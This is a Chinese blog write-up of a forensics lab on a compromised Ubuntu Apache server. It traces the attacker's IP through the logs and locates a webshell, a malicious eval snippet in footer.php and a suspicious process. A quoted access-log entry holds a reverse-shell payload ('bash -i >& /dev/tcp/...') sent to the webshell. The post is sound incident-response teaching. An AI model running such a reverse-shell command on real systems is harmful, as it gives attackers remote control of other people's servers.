首页 > 其他分享 >webserver2003解析

webserver2003解析

时间:2024-01-17 20:34:31浏览次数:27  
标签:log 查看 192.168 webserver2003 2022 var 解析 请求

webserver解析

/etc/os-release 查看操作系统 发行版本

image-20240104214522970

netstat -tunal 查看开放端口
或者使用kali nmap -sV -p- 192.168.218.131 查看
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

image-20240104214719682

ubuntu的日志文件路径
/var/log/auth.log 登录认证日志
/var/log/boot.log 系统启动日志
/var/log/btmp 失败启动信息
/var/log/apache2或/var/log/httpd 记录服务器的每个HTTP请求信息,访问时间,请求方法,URL,客户端IP
/var/log/apache2/error.log 记录apache2服务器错误警告信息
拓展
centos日志路径 /var/log/secure

image-20240104220759935

查看access.log文件太乱, cp /var/log/apache2/access.log.1 /var/www/html/access.log
到网站目录,进行web访问下载到本地查看方便

image-20240104221046295

随便拉进一个编译器查看都很方便,看出用dirsearch工具扫描,并且返回状态都为404那么攻击者IP就是192.168.1.7
附常见http响应返回值含义
200,表明该请求被成功地完成,所请求的资源发送到客户端
302,请求的网页被重定向到新的地址
403,禁止访问,服务器收到请求,但拒绝提供服务
404,可连接服务器,但服务器无法取得所请求的网页,请求资源不存在

image-20240104222526246

附日志格式
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?
2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200
242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
1.客户端IP地址:192.168.1.7
2.客户端标识符: -
3.用户名: -
4.记录时间:[24/Apr/2022:15:27:32 +0000]
5.请求方法:GET
6.请求的URL:/data/avatar/1.php?2022=bash%20-
i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1
7.HTTP协议版本:HTTP/1.1
8.服务器响应状态码:200
9.响应大小:242
10.引用来源(Referer):"-"
11.用户代理:"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
攻击产收集平台
hunter
fofa
shodan.io
第一次攻击成功时间就是id 查看权限,明显特征的时间
24/Apr/2022:15:26:42
同时攻击者操作系统也是同一行
Linux x86_64
恶意文件路径也出来了
/var/www/html/data/avatar/1.php 2022
密码进入该目录下cat文件查看

image-20240104230636722

反弹shell后的操作日志就无法记录了
之后就是进入网站目录查看
先查看近期时间修改的

image-20240104231003407

-是文件
d是目录
l代表软链接

image-20240104231628587

第一种方法就是一直找
第二种就是grep "eval" *.php
恶意代码完整路径就是
/var/www/html/footer.php

image-20240104231922559

恶意进程思路先查看网络连接 netstat -tunal
记住centos ubuntu 默认进程 哪些看上去正常进程格式,哪些进程不一样
ps -aux 查看进程
lsof -p pid 查看文件位置
ll /proc/进程PID/exe  查看文件位置

image-20240104232940130

file 文件 查看文件属性
如果没有清楚历史命令
history | grep prism 查看相关命令
image-20240104233325599

image-20240104233723999

版本号
icmp协议
密码
bash

标签:log,查看,192.168,webserver2003,2022,var,解析,请求
From: https://www.cnblogs.com/yang-ace/p/17971051

相关文章

  • 解析库
    解析库解析库的意思是对我们需要爬取的数据进行操作,从而获得想要的数据。解析库有很多种,我们可以根据自己的习惯进行选取。主要分为以下四种:正则表达式xpathBeautifulSouppyquery一、正则表达式首先讲解正则表达式的使用方法.1)元字符元字符匹配内容.匹......
  • 收件信息解析
    privateSmartAnalysisResultSmartAnalysisAddress(List<tm_master_city_PO>regions,stringmemo){varresult=newSmartAnalysisResult();if(string.IsNullOrEmpty(memo))returnnull;varareas=regions.Where(t=>t.RegionType==&quo......
  • 白话文解析LiteFlow的理念是什么?什么时候用该怎么用?干货满满
    官网:https://liteflow.cc/Gitee:https://gitee.com/dromara/liteFlowGithub:https://github.com/dromara/liteflowLiteFlow一个现代化的开源规则引擎框架,以下文中简称LF。前言时常在社区里看到有的小伙伴在那提问:LF在一个流程中如何暂停,等待操作员完成后,进行下一步该怎么做?LF......
  • 解析HTTP响应的状态码和头部信息
    HTTP响应是客户端与服务器之间通信的重要部分。它包含了服务器对客户端请求的回应,以及与该响应相关的各种信息。在HTTP响应中,有两个关键部分:状态码和头部信息。状态码状态码是HTTP响应的第一部分,它是一个三位数字的代码,用于表示请求的处理结果。状态码提供了一种标准的方法来告诉客......
  • Spring Boot 自动配置机制全解析
    本篇博文旨在全面剖析SpringBoot的自动配置原理,为开发者提供深入理解其背后机制的视角。SpringBoot自动配置通过智能地推断所需配置,极大地简化了开发过程,优化了开发体验。1.SpringBoot自动配置的核心:@SpringBootApplicationSpringBoot应用的入口通常标注有@SpringBootAp......
  • 构建高效数据生态:数据库、数据仓库、数据湖、大数据平台与数据中台解析_光点科技
    在数字化的浪潮中,一套高效的数据管理系统是企业竞争力的核心。从传统的数据库到现代的数据中台,每一种技术都在数据的旅程中扮演着关键角色。本文将深入探讨数据库、数据仓库、数据湖、大数据平台以及数据中台的功能和价值,帮助您构建一个符合自身业务需求的高效数据生态系统。数据库......
  • 解析 terminating with uncaught exception of type std::bad_cast: std::bad_cast
    解析"terminatingwithuncaughtexceptionoftypestd::bad_cast:std::bad_cast"简介在C++编程中,我们有时会遇到异常(exception),这些异常可能是由于程序运行时出现意外情况而引发的错误。其中,"terminatingwithuncaughtexceptionoftypestd::bad_cast:std::bad_cast"是一种......
  • 【深入挖掘Java技术】「源码原理体系」盲点问题解析之HashMap工作原理全揭秘(上)
    知识盲点概念介绍HashMap是基于Map接口构建的数据结构,它以键值对的形式存储元素,允许键和值都为null。由于键的唯一性,HashMap中只能有一个键为null。HashMap的特点是元素的无序性和不重复性。注意,HashMap并不是线程安全的。在多线程环境下,如果不进行适当的同步处理,可能会导致数据不......
  • Spring事务传播机制解析
    确保数据一致性的关键在Java的Spring框架中,事务管理是保证应用数据一致性和可靠性的关键。Spring提供了灵活的事务传播机制,它定义了事务边界,以及在嵌套方法调用时如何处理事务。本文旨在深入探讨Spring的事务传播行为,帮助开发者更好地理解和运用这一重要特性。事务传播机制简介......
  • VUE框架实现符合Vue3语法格式的页面与各个配置项解析------VUE框架
    <template><HelloWorld></HelloWorld><h1>{{name}}</h1><h1>{{age}}</h1><h1>{{a}}</h1><h1>{{b}}</h1><button@click="sayHello">按一下</butto......